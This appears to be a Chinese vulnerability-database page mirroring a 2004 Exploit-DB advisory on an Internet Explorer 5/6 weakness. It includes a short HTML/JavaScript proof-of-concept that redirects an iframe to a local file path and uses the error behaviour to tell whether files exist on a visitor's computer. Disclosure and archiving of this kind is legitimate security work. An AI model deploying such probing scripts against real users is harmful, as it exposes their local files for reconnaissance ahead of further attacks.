Microsoft Internet Explorer 6 – Resource Detection

Microsoft Internet Explorer 6 – Resource Detection

漏洞ID 1054570 漏洞类型
发布时间 2004-08-24 更新时间 2004-08-24
图片[1]-Microsoft Internet Explorer 6 – Resource Detection-安全小百科CVE编号 N/A
图片[2]-Microsoft Internet Explorer 6 – Resource Detection-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24407
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/11026/info

Microsoft Internet Explorer is prone to a security weakness that may permit an attacker to determine the existence of resources on a vulnerable computer.

An attacker can use an IFRAME that is accessible within the same domain and change its URI to the location of a file or directory. The attacker can then determine the existence of the resource by the error message returned by Internet Explorer.

This weakness can then allow the attacker to carry out other attacks against a vulnerable computer.

This issue was tested on Microsoft Internet Explorer 5.0 and 6.0. Other versions of the browser are likely affected as well.

<iframe src="http://www.example.com"></iframe>
<script type="text/javascript">
onload=function () {
var sLocal="C:/some_file_or_folder";
frames[0].location.href=sLocal;
setTimeout(
function () {
try {
frames[0].document;
alert(sLocal+" does not exists.nHere could execute a script that infects
the computer with some virus, trojan, etc");
} catch (oErr) {
alert(sLocal+" Exists.nThen do nothing");
}
},
250
);
}
</script>

相关推荐: Xoops Viewtopic.php Cross-Site Scripting Vulnerability

Xoops Viewtopic.php Cross-Site Scripting Vulnerability 漏洞ID 1099003 漏洞类型 Input Validation Error 发布时间 2004-01-26 更新时间 2004-01-26 CV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享